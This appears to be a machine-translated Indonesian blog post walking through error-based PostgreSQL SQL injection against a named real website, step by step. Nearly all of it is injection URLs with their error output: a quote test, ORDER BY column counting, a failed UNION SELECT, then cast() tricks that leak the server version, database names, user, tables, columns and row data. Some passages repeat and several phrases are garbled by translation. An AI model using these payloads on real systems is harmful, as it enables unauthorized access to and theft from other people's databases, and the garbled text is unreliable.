sistem Tradisional manajemen database relasional (DBMS) mendukung model data yang terdiri dari kumpulan hubungan bernama, yang berisi atribut dari tipe tertentu. Dalam sistem komersial saat ini, jenis yang mungkin termasuk angka floating point, integer, string karakter,
uang, dan tanggal.
uang, dan tanggal.
Mari kita mulai bermain dengan Postgre:
Langkah 1 menemukan kerentanan:
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80'
ERROR: syntax error at or near "''"yang berarti website ini dapat injected.remember kesalahan dapat bervariasi Anda wont mendapatkan kesalahan yang sama setiap kali.
Kolom Langkah 2 menghitung:
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 order by 1--
get valid page
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 order by 2--
ERROR: ORDER BY posisi 2 tidak ada dalam daftar pilih
Kesalahan yang menunjukkan bahwa ada satu kolom.'
Mari kita mencoba UNION SELECT query:
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=2 UNION SELECT 1--
ERROR: UNION berbagai jenis karakter dan integer tidak dapat dicocokkan
Sepertinya query SELECT UNION tidak bekerja!
Mari kita mencoba Errorbased Postgre SQLi .
Langkah 3 :
ERROR: masukan sintaks tidak valid untuk integer: "PostgreSQL 8.4.5 on i486-pc-linux-gnu, dikompilasi oleh GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 4.4.3, 32-bit"
Seperti yang bisa kita lihat, kita punya versi server DB postgre dalam bentuk kesalahan.
Mari kita bergerak dan menemukan nama database.
Kesalahan Database Query Pelaksana.
ERROR: masukan sintaks tidak valid untuk integer: "scoutsqld"
Scoutsqld adalah 1 nama database Anda variey bisa mengimbangi untuk mendapatkan nama database lainnya.
scoutsqld merupakan database pertama kita bisa mendapatkan orang lain dengan mengubah offset:)
Kesalahan Database Query Pelaksana.
ERROR: masukan sintaks tidak valid untuk integer: "template0"
template0 adalah database 2 sehingga Anda dapat meningkatkan offset sampai Anda punya kesalahan.
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast(version() as int)--
ERROR: masukan sintaks tidak valid untuk integer: "PostgreSQL 8.4.5 on i486-pc-linux-gnu, dikompilasi oleh GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 4.4.3, 32-bit"
Seperti yang bisa kita lihat, kita punya versi server DB postgre dalam bentuk kesalahan.
Mari kita bergerak dan menemukan nama database.
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select datname from pg_database limit 1 offset 0) as int)--
ERROR: masukan sintaks tidak valid untuk integer: "scoutsqld"
Scoutsqld adalah 1 nama database Anda variey bisa mengimbangi untuk mendapatkan nama database lainnya.
scoutsqld merupakan database pertama kita bisa mendapatkan orang lain dengan mengubah offset:)
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select datname from pg_database limit 1 offset 1) as int)--
ERROR: masukan sintaks tidak valid untuk integer: "template0"
template0 adalah database 2 sehingga Anda dapat meningkatkan offset sampai Anda punya kesalahan.
Mari kita cari tahu pengguna:
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select user from pg_database limit 1 offset 0) as int)--
Kesalahan Database Query Pelaksana.
ERROR: masukan sintaks tidak valid untuk integer: "postgres"
postgres adalah pengguna:)
Mari kita cari tabel:>
langkah 4 :
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select table_name from information_schema.tables limit 1 offset 0) as int)--
Kesalahan Database Query Pelaksana.
ERROR: masukan sintaks tidak valid untuk integer: "pg_type"
pg_type adalah tabel pertama kita bisa mendapatkan orang lain dengan mengubah offset:)
Langkah 5 :
Sekarang kita harus menemukan kolom dari tabel tertentu kami!
e.g
meja kami adalah tindakan
untuk itu kita harus menggunakan oracle konversi char.
Pg_type= CHR(112) || CHR(103) || CHR(95) || CHR(116) || CHR(121) || CHR(112) || CHR(101)
sehingga permintaan kami adalah:
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select column_name from information_schema.columns where table_name= CHR(112) || CHR(103) || CHR(95) || CHR(116) || CHR(121) || CHR(112) || CHR(101) limit 1 offset 0) as int)--
ERROR: masukan sintaks tidak valid untuk integer: "typname"
Dan lebih lanjut, Anda dapat menemukan kolom menggunakan offset ..
Langkah terakhir :
Sekarang kita harus mengambil data dari kolom kita.
Code:
http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select typname from pg_type limit 1 offset 0) as int)--
ERROR: masukan sintaks tidak valid untuk integer: "bool"
Tidak ada komentar:
Posting Komentar